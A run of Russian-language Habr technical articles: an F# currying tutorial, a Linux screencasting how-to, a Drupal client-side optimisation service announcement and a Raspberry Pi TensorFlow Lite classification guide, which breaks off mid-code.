Также хочется отметить, что React, возможно, будет более предпочтителен для выбора, если вы собрались писать изоморфное приложение, которое будет рендерить клиентам контент со стороны сервера, так как он позволяет рендерить контент на сервере методом [renderToString](https://facebook.github.io/react/docs/react-dom-server.html#rendertostring), благодаря которому ваш React-компонент на стороне браузера лишь навесит на созданный сервером DOM свои прослушиватели событий, избавив браузер пользователя от дополнительной нагрузки, чего в данный момент не поддерживает Riot.js: вы сможете отрендерить со стороны сервера свой контент, но он всё равно потом будет рендериться библиотекой повторно ещё и на стороне браузера.
Как мы выяснили, Riot.js более медлителен на сложных компонентах с большим количеством уровней вложенности. Но согласитесь, мы не так уж часто пишем веб-интерфейсы такой сложности?
Хотя мы и переписали один модуль нашего проекта на React.js, я всё ещё считаю Riot.js более приоритетной библиотекой для разработки фронтенд-компонентов. Причина в том, что он предоставляет более простой и лаконичный синтаксис. Он содержит в себе очень маленький набор функций, но при этом их как раз столько, сколько нужно. Riot.js не забивает мою голову сложными абстракциями, правилами, ограничениями и прочим птичьим языком. Он просто даёт мне чистое API для решения моих проблем. А что мне должно быть нужно ещё в моей работе? | https://habr.com/ru/post/316090/ | null | ru | null |
# Функциональное мышление. Часть 4
После небольшого экскурса в базовые типы, мы можем снова вернуться к функциям. В частности, к ранее упомянутой загадке: если математическая функция может принимать только один параметр, то как в F# может существовать функция, принимающая большее число параметров? Подробнее под катом!
* **[Первая часть](https://habr.com/company/microsoft/blog/415189/)**
* **[Вторая часть](https://habr.com/company/microsoft/blog/420039/)**
* **[Третья часть](https://habr.com/company/microsoft/blog/422115/)**
* **[Четвертая часть](https://habr.com/company/microsoft/blog/430620/)**
Ответ довольно прост: функция с несколькими параметрами переписывается как серия новых функций, каждая из которых принимает только один параметр. Эту операцию компилятор выполняет автоматически, и называется она "**каррирование**" (*currying*), в честь Хаскела Карри, математика, который существенно повлиял на разработку функционального программирования.
Чтобы увидеть, как каррирование работает на практике, воспользуемся простейшим примером кода, печатающим два числа:
```
// нормальная функция
let printTwoParameters x y =
printfn "x=%i y=%i" x y
```
На самом деле, компилятор переписывает его приблизительно в такой форме:
```
// каррирование описанное явно
let printTwoParameters x = // Только один параметр
let subFunction y =
printfn "x=%i y=%i" x y // Новая подфункция, принимающая один параметр
subFunction // Возвращаем подфункцию
```
Рассмотрим этот процесс подробнее:
1. Объявляется функция с названием "`printTwoParameters`", но принимающая только *один* параметр: "x".
2. Внутри неё создаётся локальная функция, которая также принимает только *один* параметр: "y". Заметим, что локальная функция использует параметр "x", но x не передается в нее как аргумент. "x" находится в такой области видимости, что вложенная функция может видеть его и использовать без необходимости в его передаче.
3. Наконец, возвращается только что созданная локальная функция.
4. Возвращенная функция затем применяется к аргументу "y". Параметр "x" замыкается в ней так, что возвращаемая функция нуждается только в параметре "y", чтобы завершить свою логику.
Переписывая функции таким образом, компилятор гарантирует, что каждая функция принимает только один параметр, как и требовалось. Таким образом, используя "`printTwoParameters`", можно подумать, что это функция с двумя параметрами, но на самом деле используется функция только с одним параметром. В этом можно убедиться, передав ей лишь один аргумент вместо двух:
```
// выполним с одним аргументом
printTwoParameters 1
// получим назад функцию
val it : (int -> unit) =
```
Если вычислить ее с одним аргументом, мы не получим ошибку — будет возвращена функция.
Итак, вот что на самом деле происходит, когда `printTwoParameters` вызывается с двумя аргументами:
* Вызывается `printTwoParameters` с первым аргументом (x)
* `printTwoParameters` возвращает новую функцию, в которой замкнут "x".
* Затем вызывается новая функция со вторым аргументом (y)
Вот пример пошаговой и нормальной версий:
```
// Пошаговая версия
let x = 6
let y = 99
let intermediateFn = printTwoParameters x // вернем ф-цию с
// x в замыкании
let result = intermediateFn y
// однострочная версия пошагового исполнения
let result = (printTwoParameters x) y
// нормальная функция
let result = printTwoParameters x y
```
Вот другой пример:
```
//Нормальная версия
let addTwoParameters x y =
x + y
//явно каррированная версия
let addTwoParameters x = // только один параметр!
let subFunction y =
x + y // новая подфункция с одним параметром
subFunction // возвращаем подфункцию
// теперь используем ее в пошаговом варианте
let x = 6
let y = 99
let intermediateFn = addTwoParameters x // возвращаем ф-цию с
// x в замыкании
let result = intermediateFn y
// Нормальная версия
let result = addTwoParameters x y
```
Опять же, "функция с двумя параметрами" на самом деле является функцией с одним параметром, которая возвращает промежуточную функцию.
Но подождите, а что с оператором "`+`"? Это ведь бинарная операция, которая должна принимать два параметра? Нет, она тоже каррируется, как и другие функции. Это функция с именем "`+`", которая принимает один параметр и возвращает новую промежуточную функцию, в точности как `addTwoParameters` выше.
Когда мы пишем выражение `x+y`, компилятор *переупорядочивает* код таким образом, чтобы преобразовать инфикс в `(+) x y`, *что является функцией с именем `+`, принимающей два параметра.* Заметим, что функция "+" нуждается в скобках, чтобы указать на то, она используется как обычная функция, а не как инфиксный оператор.
Наконец, функция с двумя параметрами, называемая `+`, обрабатывается как любая другая функция с двумя параметрами.
```
// используем плюс как функцию вызванную с одним параметром
let x = 6
let y = 99
let intermediateFn = (+) x // вернется функция "добавить" с "х" в замыкании
let result = intermediateFn y
// используем плюс как функцию с двумя параметрами
let result = (+) x y
// нормальное использование плюса как инфиксного оператора
let result = x + y
```
И да, это работает на все другие операторы и встроенные функции, такие как `printf`.
```
// нормальная версия умножения
let result = 3 * 5
// умножение как унарная ф-ция
let intermediateFn = (*) 3 // вернется "умножить" с 3 в замыкании
let result = intermediateFn 5
// нормальнвя версия printfn
let result = printfn "x=%i y=%i" 3 5
// printfn как унарная ф-ция
let intermediateFn = printfn "x=%i y=%i" 3 // "3" в замыкании
let result = intermediateFn 5
```
Сигнатуры каррированных функций
-------------------------------
Теперь, когда мы знаем, как работают каррированные функции, интересно узнать на что будут похожи их сигнатуры.
Возвращаясь к первому примеру, "`printTwoParameter`", мы видели, что функция принимала один аргумент и возвращала промежуточную функцию. Промежуточная функция также принимала один аргумент и ничего не возвращала (т.е. `unit`). Поэтому промежуточная функция имела тип `int->unit`. Другими словами, domain `printTwoParameters` — это `int`, а range — `int->unit`. Собрав все это воедино мы увидим конечную сигнатуру:
```
val printTwoParameters : int -> (int -> unit)
```
Если вычислить явно каррированную реализацию, можно увидеть скобки в сигнатуре, но если вычислить обыкновенную, неявно каррированную реализацию, скобок не будет:
```
val printTwoParameters : int -> int -> unit
```
Скобки необязательны. Но их можно представить в уме, чтобы упростить восприятие сигнатур функций.
А в чём разница между функцией, которая возвращает промежуточную функцию, и обычной функцией с двумя параметрами?
Вот функция с одним параметром, возвращающая другую функцию:
```
let add1Param x = (+) x
// signature is = int -> (int -> int)
```
А вот функция с двумя параметрами, которая возвращает простое значение:
```
let add2Params x y = (+) x y
// signature is = int -> int -> int
```
Их сигнатуры немного отличаются, но в практическом смысле между ними нет особой разницы, за исключением того факта, что вторая функция автоматически каррирована.
Функции с более чем двумя параметрами
-------------------------------------
Как работает каррирование для функций с количеством параметров, большим двух? Точно так же: для каждого параметра, кроме последнего, функция возвращает промежуточную функцию, замыкающую предыдущий параметр.
Рассмотрим этот нелегкий пример. У меня явно объявлены типы параметров, но функция ничего не делает.
```
let multiParamFn (p1:int)(p2:bool)(p3:string)(p4:float)=
() //ничего не делаем
let intermediateFn1 = multiParamFn 42 // multoParamFn принимает int и возвращает (bool -> string -> float -> unit)
// intermediateFn1 принимает bool
// и возвращает (string -> float -> unit)
let intermediateFn2 = intermediateFn1 false
// intermediateFn2 принимает string
// и возвращает (float -> unit)
let intermediateFn3 = intermediateFn2 "hello"
// intermediateFn3 принимаетfloat
// и возвращает простое значение (unit)
let finalResult = intermediateFn3 3.141
```
Сигнатура всей функции:
```
val multiParamFn : int -> bool -> string -> float -> unit
```
и сигнатуры промежуточных функций:
```
val intermediateFn1 : (bool -> string -> float -> unit)
val intermediateFn2 : (string -> float -> unit)
val intermediateFn3 : (float -> unit)
val finalResult : unit = ()
```
Сигнатура функции может сообщить о том, сколько параметров принимает функция: достаточно подсчитать число стрелок вне скобок. Если функция принимает или возвращает другую функцию, будут еще стрелки, но они будут в скобках и их можно будет проигнорировать. Вот некоторые примеры:
```
int->int->int // 2 параметра int возвращаем int
string->bool->int // первый параметро string, второй - bool,
// вернется int
int->string->bool->unit // три параметра (int,string,bool)
// ничего не вернется (unit)
(int->string)->int // только один параметр, функция
// (из int в string)
// и вернется int
(int->string)->(int->bool) // принимает функцию (int в string)
// вернет функцию (int в bool)
```
Трудности с множественными параметрами
--------------------------------------
Пока вы не поймёте логику, которая стоит за каррированием, она будет приводить к некоторым неожиданным результатам. Помните, что вы не получите ошибку, если запустите функцию с меньшим количеством аргументов, чем ожидается. Вместо этого вы получите частично примененную функцию. Если затем вы воспользуетесь частично примененной функцией в контексте, где ожидается значение, можно получить малопонятную ошибку от компилятора.
Рассмотрим безобидную с первого взгляда функцию:
```
// создаем функцию
let printHello() = printfn "hello"
```
Как думаете, что произойдет, если вызвать ее так, как показано ниже? Выведется ли "hello" на консоль? Попробуйте догадаться до выполнения. Подсказка: посмотрите на сигнатуру функции.
```
// вызываем ее
printHello
```
Вопреки ожиданиям вызова *не* будет. Исходная функция ожидает `unit` как аргумент, который не был передан. Поэтому была получена частично примененная функция (в данном случае без аргументов).
А что насчет этого случая? Будет ли он скомпилирован?
```
let addXY x y =
printfn "x=%i y=%i" x
x + y
```
Если запустить его, компилятор пожалуется на строку с `printfn`.
```
printfn "x=%i y=%i" x
//^^^^^^^^^^^^^^^^^^^^^
//warning FS0193: This expression is a function value, i.e. is missing
//arguments. Its type is ^a -> unit.
```
Если нет понимания каррирования, данное сообщение может быть очень загадочным. Дело в том, что все выражения, которые вычисляются отдельно (т.е. не используются как возвращаемое значение или привязка к чему-либо посредством "let"), *должны* вычисляться в `unit` значение. В данном случае, оно *не* вычисляется в `unit` значение, но вместо этого возвращает функцию. Это длинный способ сказать о том, что `printfn` не хватает аргумента.
В большинстве случаев ошибки, подобные этой, случаются при взаимодействии с библиотекой из мира .NET. Например, метод `Readline` класса `TextReader` должен принимать `unit` параметр. Об этом часто можно забыть, и не поставить скобки, в этом случае нельзя получить ошибку компилятора в момент "вызова", но она появится при попытке интерпретировать результат как строку.
```
let reader = new System.IO.StringReader("hello");
let line1 = reader.ReadLine // ошибка, но компилятор пропустит
printfn "The line is %s" line1 //но здесь выдаст ошибку
// ==> error FS0001: This expression was expected to have
// type string but here has type unit -> string
let line2 = reader.ReadLine() //верно
printfn "The line is %s" line2 //без ошибок компиляции
```
В коде выше `line1` — просто указатель или делегат на метод `Readline`, а не строка, как можно было бы ожидать. Использование `()` в `reader.ReadLine()` действительно вызовет функцию.
Слишком много параметров
------------------------
Можно получить столь же загадочные сообщения, если передать функции слишком много параметров. Несколько примеров передачи слишком большого числа параметров в `printf`:
```
printfn "hello" 42
// ==> error FS0001: This expression was expected to have
// type 'a -> 'b but here has type unit
printfn "hello %i" 42 43
// ==> Error FS0001: Type mismatch. Expecting a 'a -> 'b -> 'c
// but given a 'a -> unit
printfn "hello %i %i" 42 43 44
// ==> Error FS0001: Type mismatch. Expecting a 'a->'b->'c->'d
// but given a 'a -> 'b -> unit
```
Например, в последнем случае компилятор сообщает, что ожидается форматирующая строка с тремя параметрами (сигнатура `'a -> 'b -> 'c -> 'd` имеет три параметра), но вместо этого получена строка с двумя (у сигнатуры `'a -> 'b -> unit` два параметра).
В тех случаях, где не используется `printf`, передача большого количества параметров часто означает, что на определенном этапе вычислений было получено простое значение, которому пытаются передать параметр. Компилятор будет возмущаться, что простое значение не является функцией.
```
let add1 x = x + 1
let x = add1 2 3
// ==> error FS0003: This value is not a function
// and cannot be applied
```
Если разбить общий вызов на серию явных промежуточных функций, как делали ранее, можно увидеть, что именно происходит не так.
```
let add1 x = x + 1
let intermediateFn = add1 2 //вернет простое значение
let x = intermediateFn 3 //intermediateFn не функция!
// ==> error FS0003: This value is not a function
// and cannot be applied
```
Дополнительные ресурсы
======================
Для F# существует множество самоучителей, включая материалы для тех, кто пришел с опытом C# или Java. Следующие ссылки могут быть полезными по мере того, как вы будете глубже изучать F#:
* [F# Guide](https://docs.microsoft.com/en-US/dotnet/fsharp/)
* [F# for Fun and Profit](https://swlaschin.gitbooks.io/fsharpforfunandprofit/content/)
* [F# Wiki](https://en.wikibooks.org/wiki/F_Sharp_Programming)
* [Learn X in Y Minutes: F#](https://learnxinyminutes.com/docs/fsharp/)
Также описаны еще несколько способов, как [начать изучение F#](https://docs.microsoft.com/en-us/dotnet/fsharp/get-started/).
И наконец, сообщество F# очень дружелюбно к начинающим. Есть очень активный чат в Slack, поддерживаемый F# Software Foundation, с комнатами для начинающих, к которым вы [можете свободно присоединиться](http://foundation.fsharp.org/join). Мы настоятельно рекомендуем вам это сделать!
Не забудьте посетить сайт [русскоязычного сообщества F#](http://fsharplang.ru)! Если у вас возникнут вопросы по изучению языка, мы будем рады обсудить их в чатах:
* комната `#ru_general` в [Slack-чате F# Software Foundation](http://foundation.fsharp.org/join)
* [чат в Telegram](https://t.me/Fsharp_chat)
* [чат в Gitter](http://gitter.im/fsharplang_ru)
Об авторах перевода
-------------------
Автор перевода [*@kleidemos*](https://habrahabr.ru/users/kleidemos/)
 Перевод и редакторские правки сделаны усилиями [русскоязычного сообщества F#-разработчиков](http://fsharplang.ru). Мы также благодарим [*@schvepsss*](https://habrahabr.ru/users/schvepsss/) и [*@shwars*](https://habr.com/users/shwars/) за подготовку данной статьи к публикации. | https://habr.com/ru/post/430620/ | null | ru | null |
# Ещё раз про скринкасты в линуксе
Совсем недавно [была](http://habrahabr.ru/post/140006/) статья [pomeo](https://habrahabr.ru/users/pomeo/) на эту тему. Не то чтобы у меня какой-то альтернативный взгляд на это или существенно мой вариант отличается. Просто я знаю, что некоторые проблемы в Linux не решаются только одним мануалом. Поэтому, несколько повторяясь, я опишу, как это делаю я.
Некоторое время назад я решил заняться циклом статей [“Сети для самых маленьких”](http://habrahabr.ru/search/?q=%5B%D1%81%D0%B5%D1%82%D0%B8%20%D0%B4%D0%BB%D1%8F%20%D1%81%D0%B0%D0%BC%D1%8B%D1%85%20%D0%BC%D0%B0%D0%BB%D0%B5%D0%BD%D1%8C%D0%BA%D0%B8%D1%85%5D&target_type=posts) и серьёзно озадачился вопросом записи скринкастов. Читатели очень просили сопровождать статьи видеоматериалами.
Сложностей при работе в линуксе представлялось две:
1) Программа для записи видео с экрана,
2) Программа для обработки видео.
Первое, что пришло на ум — не искать себе приключений на голову и делать это в виндоус. Но, во-первых, это целая череда не очень приятных действий, а, во-вторых, взыграла ИТшная кровь — надо разобраться.
В Линуксе есть прекрасное приложение recordMyDesktop — простое и притом универсальное. Это первое, которое я попробовал и оно меня вполне удовлетворило.
В Ubuntu ставится одной командой:
`#apt-get install recordmydesktop`
Есть для него и графическая оболочка gtk-recordMyDesktop, но я предпочёл иной путь. Я создал две кнопки на панели быстрого запуска:
На первую кнопку я прописал следующую команду:
`recordmydesktop -y 25 --height 750 --width 1250 -o sdsm/video/desktop.ogv`
Она запустит запись и будет захватывать только прямоугольник заданный координатами. То есть верхняя левая точка тут: 0;25, а длина и ширина такие: 1250x750. Конечный файл он сохранит в каталог *sdsm/video/desktop.ogv*
После нажатия на эту кнопку, recordMyDesktop услужливо покажет рамку, в которой он будет записывать:
Есть правда одна неприятная вещь: вот при такой длине рамки: 1250 — он немножечко обрезает окно, а если увеличить на один пиксель, он почему-то прыгает гораздо больше и захватывает часть моей панели слева. С этим пришлось смириться.
На вторую кнопку  вешаем команду прекращения записи. Возможно, я сделал это не очень аккуратно, если кто знает тру вей, подскажите:
`pkill recordmydesktop`
Но это работает и меня вполне устроило. После остановки, начинается обработка этого видео, что скажется на работе вашего процессора 
Если вы запустите и остановите RecordMyDesktop из консоли или графической оболочки, то вы увидите процесс обсчёта видео:
В моём случае с кнопками действуем вслепую, ориентируясь на картинку процессора и шум кулеров. Как только нагрузка упала, можно идти проверять результат. Если нажать кнопку  еще раз, то обработка прервётся. То есть если вы начали записывать и что-то пошло не так, просто два раза жмакаете по кнопке и всё.
Конечный файл получается в формате ogv — кому как, а мне сгодится.
Теперь, что касается звука. Встроенные динамик и звуковая карта оставляют желать лучшего или вообще даже наличия в результате членораздельных звуков. [Пример](http://www.divshare.com/download/17166906-c07).
Поэтому я нашёл хороший микрофон:
Качество стало значительно лучше, но голос очень тихий. Поигравшись параметрами звука, я понял, что при программном усилении получаются дикие шумы, но какое-то более или менее вменяемого результата добиться можно. [Пример](http://eucariot.podfm.ru/my/1/download/Kolpack.mp3).
Но это не то, что нам нужно. Покупать внешнюю звуковую карточку не хотелось, но в тумбочке залежался без дела старенький eeepc901 — идеальный вариант. Отсутствие винчестера и слабенький тихий кулер сделали своё дело: результат получается вполне ничего. [Пример](http://video.yandex.ru/users/ait-it/view/1/)
Мне уже посоветовали, что для того, чтобы избавиться от шума винчестеров, батареи, кулеров и прочего, мне следует использовать микшер с микрофонным входом — говорят, качество звука поднимется на порядок.
Записываю я с помощью программы Audacity, где потом и обрабатываю звук.
При обработке я удаляю всякие хрипения, сопения, дыхания и прочие другие *ния*. Далее при необходимости делаю усиление сигнала, нормализацию и удаление шума:
Удаление шума — киллер фича. Выделяете участок, где у вас только шум и создаёте модель:
Далее выделяете весь трек (или снимаете выделение) и снова открываете “Удаление шума” и Ок. Audacity очистит по шаблону весь ваш файл.
И на выходе можно получить весьма сносный файл. [Пример](http://soundcloud.com/eucariot/v-nedrakh-tundry).
Одна из самых сложных частей — свести всё это в один итоговый видеофайл. Я тут много копий сломал в поисках рабочего варинта. Пробовал делать это в консоли через **ffmpeg** — либо звук портится, либо качество видео — не хватило у меня терпения разобраться.
**Kino** имеет очень скромный функционал и тоже портит качество.
**Avidemux** вообще глючит при попытке открыть это видео. То ли ogv ему не понравился, то ли размер картинки.
**Pitivi** порадовал, но функционала недостаточно.
В общем остановился я на **Kdenlive**. С ним тоже всё не так просто, если писать, например, конечный файл в avi, то он почему-то портил мне звук, другие кодеки, вроде, mp3, поставить не давал. Опять же в силу своей невероятной лени, я решил записывать в m2t — размер получался чуть больше, чем надо, но зато по всем остальным параметрам результат был годный. Youtube тоже с удовольствием их принимает.
Чем меня особенно устраивал Kdenlive, так это тем, что можно создавать много дорожек и легко работать с картинками. В своих видео я использую серию фотографий для создания видеоряда, и эта возможность мне как нельзя кстати.
Обработка даже 15-иминутного видео идёт очень долго. К примеру 30-иминунтное видео в два прохода у меня считалось около 2 часов. Но это вина не программы, а моей довольно старой машинки.
Один из существенных недостатков kdenlive — он падучий, мерзавец. Причём триггер его падения я так и не уловил. Но к его чести, он восстанавливает последнее (или почти последнее) состояние перед крахом.
Кроме того, в статье, что была перед моей, автор пользуется **OpenShot**, который очень похож на kdenlive, но побольше гламура. Кроме того я уже поставил себе **Cinelerra**. для подготовки следующего видео, но там проблемы с кодировкой. Судя по отзывам весьма мощная и качественная программа.
Последние видео у меня получались по 30-40 минут почти. Я их готовил по частям и чтобы в конце, сливая 5-иминутную часть с 30-иминутной, не умереть в ожидании, я делал это на Youtube — у них есть простой, но неплохой [редактор](http://www.youtube.com/editor?feature=mhsn) видео.
В нём самые необходимые для меня функции “обрезать” и “склеить”. В общем из своих кусочков видео я там собирал финальный вариант и сервера гугл обсчитывали результат.
Профит[.](http://youtu.be/-xxO5jdLvcE?hd=1)
P.S. Прошу прощения за количество разнородных плееров — тестирую хостинг аудио. | https://habr.com/ru/post/141031/ | null | ru | null |
# Клиентская оптимизация как сервис
 Еще с самого начала своей деятельности как web-разработчика я мечтал иметь инструмент, который позволял бы автоматически получать оптимизированую версию моего сайта или веб-приложения. В прошлом оптимизация сводилась к ручному формированию обычных спрайтов, потом к сжиманию скриптов и стилей по отдельности. При внесении каких либо изменений геморрой частично повторялся заново. Благодаря новому сервису клиентской оптимизации теперь это в прошлом.
Преамбула
=========
После того как появилась технология data:uri был проведен ряд исследований в сторону автоматизации процесса оптимизации сайтов с применением этой технологии. В результате появилась новая технология [Data URI CSS Sprites](http://duris.ru). Я помню какая была эйфория когда был получен кросс-браузерный код подключения data:uri css спрайтов. Это была большая радость. Которая к сожалению длилась всего пару дней, так как были найдены проблемы для IE7@Vista. Почти два года не было решения, и почти два года в технологии data:uri css спрайтов использовался костыль для IE7@Vista. Но буквально пару месяцев назад было найдено решение проблемы. Как ни банально и обидно это оказалось — решение оказалось настолько простое, что сначала я никак не мог поверить в его работоспособность. Добавив всего два(!) нужных символа в конец файла со спрайтами — проблема улетучилась. Проведя серию экспериментов теперь можно с уверенностью заявить — технология работает, кроссбраузерно!
Но суть не в этом, суть статьи в предлагаемом подходе к автоматической оптимизации.
Алгоритм работы клиентской оптимизации как сервиса
==================================================
Вы монтируете в шаблон сайта файл-оптимизатор, который определяет (вычисляет) не оптимизированые скрипты и стили. При обращении к какой-либо странице сайта файл-оптимизатор проверяет наличие оптимизированной версии скриптов и стилей, и если таковых не найдено, он посылает команду специальному сервису — «мол тут есть что про оптимизировать» и умирает (т.е. не блокирует дальнейшую работу страниц сайта). Сервис в асинхронном режиме заходит на ту страницу, которую нужно прооптимизировать, анализирует ее, делает выжимку и формирует оптимальный пакет. После этого он обращается к файлу-оптимизатору и отдает прооптимизированую версию скриптов и стилей. Файл-оптимизатор укладывает оптимизированную версию в нужное место и при следующем обращении к этой странице уже отдает на клиент оптимальный вариант.
Пока, на данный момент файл-оптимизатор разработан для Drupal.
Инструкция по установке для Drupal
==================================
1) создаем на сервере папку optimum, в каталоге куда установлен drupal
2) проверяем права на запись в эту папку пользователю, под которым запущен веб-сервер
3) качаем файл [duris.php (v. 1.0.3)](http://api.hivext.ru/xssu/cross/download/AmMAAVlTWUpjBW5MRxcMRQJKEkdbRm8cfCUjBEtCQFYPAQBCY1VLQEg%3D) и кладем его в папку optimum
4) подключаем в файл duris.php в файл шаблона в самое начало, примерно так
`php include_once(dirname(__FILE__).'/../../optimum/duris.php'); ?`
5) пробегаемся по страницам, смотрим в фаербаг, повторно пробегаемся по страницам
после второго прохода скрипты и стили должны быть уже оптимизированы.
В оптимизацию заложен принцип асинхронности, т.е. оптимизированная версия появится на сайте не сразу, а со временем. После первого обращения к странице уходит запрос на оптимизацию и в асинхронном режиме «варится» опт. версия. Потом она укладывается в нужное место.
6) для компрессии base64 картинок можно использовать уже сжатые gzip файлы, файл настроек под apache для передачи статических gzip файлов [.httaccess](http://api.hivext.ru/xssu/cross/download/VGVTXV1aCBpiVmJHE0BZQ1UeQBBYG2kYfXYjVEIUQVcPAQBCY1VLQEg%3D) кладем в папку optimum (для ngnix пока нет, если знаете как его передать отпишите в эту тему)
Важно: с localhost пока не работает, ваш сервер должен быть доступен из вне.
Реальные примеры применения
===========================
[prosto.lutsk.ua](http://prosto.lutsk.ua) — городской портал Луцка
Сравнительный анализ ДО оптимизации
и После оптимизации
[zii-egg.ru](http://zii-egg.ru) — сайт о плеере Creative Zii Egg
[kinobaza.tv](http://kinobaza.tv) — Приятный и удобный поиск фильмов в рунете
[ide.hivext.ru](http://ide.hivext.ru) — Среда разработки приложений на платформе Hivext
[www.dolcevilla.cz](http://www.dolcevilla.cz) — Сайт визитка пражского отеля
Развитие
========
Планируется разработать подобные файлы-оптимизаторы и для других популярных CMS.
Но, одному тяжело все тащить на себе. Поэтому если у кого-то возникнет желание помощь в этом деле, буду рад помощи. Переработать готовый Drupal-льный файл-оптимизатор под другие CMS не проблема. В нем минимум логики, вся логика находится в удаленном сервисе оптимизации. Примерное время реализации от 2-х до 4-х часов.
Если у кого-то есть конструктивные замечания или предложения — буду очень рад выслушать.
Желаю приятной оптимизации. | https://habr.com/ru/post/94109/ | null | ru | null |
# Как на Raspberry Pi запустить модель ML и сэкономить пространство одноплатника
Представьте ситуацию: впереди выходные, а у вас есть достаточно нагруженная малинка и вы — ради эксперимента — хотите посмотреть, что ML умеет на мощностях RPi, но не хотите слишком перегружать машину, даже всей облегчённой версией TF. Что можно сделать? Мы уже [писали](https://habr.com/ru/company/skillfactory/blog/542856/) о классификации мусора с помощью RPi, а сегодня, к старту курса о [глубоком и машинном обучении](https://skillfactory.ru/ml-and-dl?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_MLDL&utm_term=regular&utm_content=090721), делимся переводом руководства, автор которого приводит простейший пример работы с необходимым минимумом TFLite. Выводы делаются моделью менее чем за секунду, при этом не нужно устанавливать весь пакет TensorFlow; используется только tflite\_runtime, поддерживающий класс Interpreter.
---
Доступ к Raspberry Pi с компьютера
----------------------------------
Есть несколько способов доступа к Raspberry Pi. Вне зависимости от способа цель — получить доступ к терминалу RPi для ввода команд, помогающих подготовить компьютер к работе с TFLite.
Можно работать с RPi как с обычным ПК, подключив его к монитору через порт HDMI, а также подсоединив мышь и клавиатуру. После успешного запуска RPi вы сможете получить доступ к его графическому интерфейсу и открыть терминал. К сожалению, этот метод может не сработать при покупке новой RPi: чтобы разрешить использование порта HDMI, нужно изменить некоторые настройки.
Доступ к RPi через специальный монитор и периферийные устройства обойдётся дорого, если у вас нет собственного ПК/ноутбука. Для управления RPi через свой ПК сначала нужно подключить порт Ethernet RPi к порту коммутатора. Коммутатор должен поддерживать протокол DHCP, чтобы IP-адрес для RPi присваивался автоматически.
Назначив IP, при помощи IP-сканера вы найдёте IP Ethernet-интерфейса RPi с подключённого через тот же коммутатор ПК, а имея IP-адрес RPi, с вашего ПК вы сможете открыть сеанс SSH, где получите доступ к терминалу RPi. Подробности читайте в [этом](https://www.linkedin.com/pulse/building-image-classifier-running-raspberry-pi-ahmed-gad) учебном руководстве.
При таком доступе RPi нужно каждый раз подключать к коммутатору. Чтобы упростить работу, можно воспользоваться беспроводным интерфейсом. Подключив RPi к порту коммутатора и настроив его беспроводной интерфейс на беспроводную сеть, вы облегчите доступ к малинке в будущем. Эта сеть может быть создана со смартфона, он будет точкой доступа.
Возможно, после настройки сети коммутатор не понадобится. Всё, что нужно сделать, — подключить ПК к той же беспроводной сети. IP-сканер сообщит IP беспроводного интерфейса в RPi. После этого можно открыть сеанс SSH и достучаться до терминала одноплатника.
Независимо от метода доступа к RPi вы должны иметь возможность получить доступ к терминалу, как на рисунке ниже. На этом этапе можно подготовить TFLite командами терминала, их обсудим ниже.
Подготовка TFLite в RPi
-----------------------
Здесь предполагается, что у вас уже есть модель TensorFlow, преобразованная в модель TensorFlow Lite. Если это не так, есть множество моделей TensorFlow Lite, которые можно загрузить; воспользуемся Lite-версией **MobileNet**.
TensorFlow Lite — это часть TensorFlow, то есть установив библиотеку TensorFlow, вы установите и версию Lite. Перед установкой TensorFlow задумайтесь о необходимых проекту модулях. Здесь мы просто запускаем модель TFLite, чтобы классифицировать изображение, и ничего больше, поэтому не нужно устанавливать все модули TensorFlow.
Единственный класс TensorFlow, необходимый для прогнозирования в режиме TFLite — это Interpreter, доступ к нему можно получить так:
```
import tensorflow.lite.python.interpreter.Interpreter
```
То есть вместо установки всего TensorFlow можно установить только этот класс, сэкономив пространство на RPi. Но как именно установить только этот класс?
> Пакет tflite\_runtime содержит только класс Interpreter. Доступ к нему можно получить по адресу tflite\_runtime.interpreter.Interpreter. Чтобы установить tflite\_runtime, просто скачайте подходящее версии Python wheel, например [Python 3.5](https://dl.google.com/coral/python/tflite_runtime-1.14.0-cp35-cp35m-linux_armv7l.whl) или [Python 3.7](https://dl.google.com/coral/python/tflite_runtime-1.14.0-cp37-cp37m-linux_armv7l.whl).
>
>
В моей RPi файл *.whl* расположен здесь:
```
/home/pi/Downloads/tflite_runtime-1.14.0-cp35-cp35m-linux_armv7l.whl
```
Чтобы установить скачанный пакет, я запустил pip3 install. Обратите внимание: нужно использовать pip3: просто pip будет работать с Python 2.
```
pip3 install /home/pi/Downloads/tflite_runtime-1.14.0-cp35-cp35m-linux_armv7l.whl
```
Пакет успешно установленУстановив tflite\_runtime, вы можете проверить, что всё работает правильно, импортировав класс Interpreter:
```
from tflite_runtime.interpreter import Interpreter
```
И вот результат:
> Установка tflite\_runtime не означает, что установлена вся TFLite. Доступен только класс Interpreter, который делает прогнозы на основе TFLite. Если нужны другие возможности TFLite, установите TensorFlow.
>
>
После установки tflite\_runtime и подготовки RPi к прогнозированию переходим к следующему шагу.
Загрузка MobileNet
------------------
MobileNet для TFLite можно скачать [здесь](https://storage.googleapis.com/download.tensorflow.org/models/tflite/mobilenet_v1_1.0_224_quant_and_labels.zip). Это сжатый файл, он содержит не только модель TFLite, но и метки классов, которые прогнозирует модель. Распакованный архив выглядит так:
1) mobilenet\_v1\_1.0\_224\_quant.tflite;
2) labels\_mobilenet\_quant\_v1\_224.txt.
У MobileNet две версии, от версии зависит разрешение входного изображения. Здесь воспользуемся первой версией, она принимает изображения с разрешением 224x224. Модель подвергается квантованию, то есть она уменьшается, снижается задержка прогнозов. Для двух изображений на RPi я создал новую папку *TFLite\_MobileNet*.
```
/home/pi/TFLite_MobileNetmobilenet_v1_1.0_224_quant.tflitelabels_mobilenet_quant_v1_224.txttest.jpg
```
В следующем разделе я покажу, как подать изображение в модель и спрогнозировать метку класса.
Классификация одного изображения
--------------------------------
Код загрузки модели TFLite и классификации приведён ниже. Пути к модели и файла меток классов содержатся в model\_path и labels. Пути к модели для её загрузки передаются конструктору класса Interpreter. Загруженная модель возвращается в переменной interpreter.
```
from tflite_runtime.interpreter import Interpreter
from PIL import Image
import numpy as np
import time
data_folder = "/home/pi/TFLite_MobileNet/"
model_path = data_folder + "mobilenet_v1_1.0_224_quant.tflite"
label_path = data_folder + "labels_mobilenet_quant_v1_224.txt"
interpreter = Interpreter(model_path)
print("Model Loaded Successfully.")
interpreter.allocate_tensors()
_, height, width, _ = interpreter.get_input_details()[0]['shape']
print("Image Shape (", width, ",", height, ")")
# Load an image to be classified.
image = Image.open(data_folder + "test.jpg").convert('RGB').resize((width, height))
# Classify the image.
time1 = time.time()
label_id, prob = classify_image(interpreter, image)
time2 = time.time()
classification_time = np.round(time2-time1, 3)
print("Classificaiton Time =", classification_time, "seconds.")
